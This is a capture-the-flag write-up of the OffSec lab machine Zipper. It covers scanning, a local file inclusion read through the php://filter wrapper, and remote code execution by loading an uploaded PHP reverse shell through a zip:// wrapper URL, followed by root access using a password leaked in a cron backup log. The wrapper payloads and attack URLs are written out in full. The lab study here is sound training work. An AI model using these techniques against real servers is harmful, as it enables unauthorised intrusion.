The Summary
Platform Site | OffSec Proving Grounds (Practice) |
Hostname | zipper |
Domain | zipper.offsec |
Operating System / Architecture | Linux |
Rating | Hard |
This write-up is for the machine Zipper on the OffSec Proving Grounds (Practice) labs. I will show about PHP wrappers and take the machine al the way through Privilege Escalation.
The Attack
Scanning & Prelims
NMAP Command
nmap -T4 -A -p- xx.xx.xx.xx -oA nmap-XXXXXX --webxml
nmap
–> the application-T4
–> timing set to aggressive (4)-A -p-
–> enables all scans & scans all portsxx.xx.xx.xx
–> target IP address-oA
–> output All file types: normal, grepable, XMLnmap-XXXXXX
–> names of output files (XXXX changes per testers choice)--webxml
–> can move & view the XML easily on another machine
Host is up (0.095s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1994b952225ed0f8520d363b448bbcf (RSA)
| 256 0f448badad95b8226af036ac19d00ef3 (ECDSA)
|_ 256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=5/22%OT=22%CT=1%CU=39495%PV=Y%DS=4%DC=T%G=Y%TM=664E04A
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10E%TI=Z%II=I%TS=A)SEQ(SP=1
OS:01%GCD=1%ISR=10E%TI=Z%TS=A)OPS(O1=M551ST11NW7%O2=M551ST11NW7%O3=M551NNT1
OS:1NW7%O4=M551ST11NW7%O5=M551ST11NW7%O6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE
OS:88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=
OS:)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=16
OS:4%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=893B%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
While scanning I set up notes for this machine. I also edit the /etc/hosts
file in Kali to associate a domain of my choosing to the IP address provided by the Platform Site. The entry is often added to during testing when new domains are found.
Service Enumeration
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1994b952225ed0f8520d363b448bbcf (RSA)
| 256 0f448badad95b8226af036ac19d00ef3 (ECDSA)
|_ 256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)
“It’s never SSH.” One day the problem will be SSH, but not today.
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper
|_http-server-header: Apache/2.4.41 (Ubuntu)
HTTP is always a good jumping off point. Let’s browse to the site and also check Wappalyzer.
At this point it is a good idea to run a directory search using one of the many tools available. I like dirsearch
at the moment, but preferences vary and change with time. Wappalyzer also shows the existence of PHP being used. So, I will look for directories along with .php
files and some other file extensions to cover my bases. The dirsearch
output file is below.
# Dirsearch started Wed May 22 10:47:47 2024 as: dirsearch.py -u http://zipper.offsec -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -f -e php,txt,bak -o /root/OffSec_Proving_Grounds/Zipper/dirsearch_output_Zipper.txt
200 3KB http://zipper.offsec:80/index.php
200 3KB http://zipper.offsec:80/home.php
403 278B http://zipper.offsec:80/icons/
403 278B http://zipper.offsec:80/uploads/
301 316B http://zipper.offsec:80/uploads -> REDIRECTS TO: http://zipper.offsec/uploads/
200 0B http://zipper.offsec:80/upload.php
200 155B http://zipper.offsec:80/style
403 278B http://zipper.offsec:80/server-status/
403 278B http://zipper.offsec:80/server-status
Clicking the “Home” button on the site brings up something interesting in the address bar. Seeing a file=
is a good indicator of potential directory traversal or LFI (Local File Inclusion)
I found the OWASP WSTG (Web Site Testing Guide) to be helpful here. Checked for the standard ../../etc/passwd
and tried to view the upload.php
file that was revealed in our dirsearch output.
However, exploring the OWASP site a bit more brings us to a section on PHP wrappers
. These can allow an attacker to upgrade a LFI to Remote Code Execution (RCE) or other possibilities. A wrapper is a bit of code that surrounds (“wraps”) other code to give some added functionality. PHP has several built-in wrappers and an example is given. The following wrapper should access a file, encodes it in Base64 and prints it to the browser screen. It should be placed after the equal (=) sign in the URL.
php://filter/convert.base64-encode/resource=FILENAME
Decoding the Base64 string (I use Cyberchef) reveals the file contents.
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file".".php");
}
else
{
include("home.php");
}
?>
The Foothold
Further research into PHP wrappers reveals an interesting zip wrapper. Use of it will access a zip file in the archives. This could trigger a malicious file, let’s say a PHP reverse shell. We can be fairly certain it will execute due to the existence of PHP already running on the machine.
First we must get the zipped file onto the machine. Let’s play with the zip function on the Zipper site. A handful of test files were created and will be loaded into Zipper.
So, load the file/s in. Zip them. Click the download to retrieve the zipped file. Note: the download function allows us to conveniently see the file name (we’ll need that later).
Now, craft the PHP reverse shell. I like to use RevShells.com. The “PHP PentestMonkey” variant should work well. Copy the output and paste it into a file. I called my file revshell.php
(this will be needed later). Feed it into Zipper like above, being sure to download in order to get the zipped file name.
Start your netcat listener on the port specified when creating you php reverse shell
.
Now it’s time to place the zip php wrapper
into the address bar on the browser. Below is the wrapper with some explanation underneath.
http://zipper.offsec/index.php?file=zip://uploads/upload_1718928576.zip%23revshell
file=zip
–> activates the zip wrapper//uploads/upload_1718928576.zip
–> the uploaded directory and the zip filename containing the malicious payload%23revshell
–> URL encode # (%23) followed by the name we had for our file. Since many files can be in a zipped archive (ie test-alpha.txt, test-bravo.txt, etc) this instructs which specific file to access.
Execute and check the listener for success.
The local.txt
flag is located in /var/www
.
Privilege Escalation
While enumerating with various commands, something interesting was found while checking cron jobs.
cat /etc/crontab
The file /opt/backup.sh
looks interesting due to the 5 * (asterisks/splats) indicating this file is run automatically every minute. Changing directories (cd) into /opt/
and listing all (ls -la) the contents of the directory shows the permissions of backup.sh
. The contents of backup.sh
is then printed to screen (cat).
Unfortunately, only the file’s owner (root
) has permission to alter the file. So, we are unable to manipulate it in a malicious manner. Let’s examine the contents of backup.sh
to determine what it is doing.
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
password=cat /root/secret
–> a variable of “password” is declared and it’s contents in/root/secret
cd /var/www/html/uploads
–> change directories into the “uploads” directory for the Zipper website.rm *.tmp
–> remove any file with a.tmp
extension7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.logwww-data
–> Use 7-zip (7za) to archive all (a) files to the/opt/backups/backup.zip
. It uses thepassword
that was declared (/root/secret) and writes the file to/opt/backups/backup.log
So, that password would be good to acquire. Let’s check out the backup.log
file to see if we can view anything useful.
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7371 16-Core Processor (800F12),ASM,AES-NI)
Open archive: /opt/backups/backup.zip
--
Path = /opt/backups/backup.zip
Type = zip
Physical Size = 1779
Scanning the drive:
3 files, 1327 bytes (2 KiB)
Updating archive: /opt/backups/backup.zip
Items to compress: 3
Files read from disk: 3
Archive size: 1779 bytes (2 KiB)
Scan WARNINGS for files and folders:
WildCardsGoingWild : No more files
----------------
Scan WARNINGS: 1
What looks like password is discovered in the file. WildCardsGoingWild
. The only potential login point we discovered was the OpenSSH
service we found in the NMAP scan. No other usernames were discovered, so let’s try to login as root
.
Success!
The Debriefing
What went right?
Although this machine was rated “Hard” I didn’t find it to be terribly difficult. Maybe I got lucky and it interested me in a particular way and my researching panned out. I rarely felt like I was in the “Rabbit Hole of Despair” that I can sometimes fall into with attacking these machines.
Report writing is getting faster and I feel more efficient. I am getting more used to the tools and workflow of creating this content. Also, getting an eye for what looks well for presentation purposes.
What went wrong?
Escalating privilege did take me quite a while. When I finally figured it out, I was a bit mad at myself for not seeing it earlier. I need to get more familiar with priv esc and develop more customized techniques for getting there faster with less wasted time/energy.
I am also experiencing some self doubt on how much to include in the reporting. I want to thoroughly explain and understand what I am doing with the attacks, yet do not want to be excessively verbose. I am my audience, yet I am aware that others will be consuming this.
Lessons Learned
The skill level with creating the write-ups should increase with experience. I am constantly reminding myself: Progress, not Perfection.
My notes were better on this one. Reminding me even more to continue with good note taking in the moment. While attacking a box, I’m thinking it might be a good tactic to go back and re-exploit everything a second time with the intent of creating more solid notes. I have done that before and feel I should make it common practice.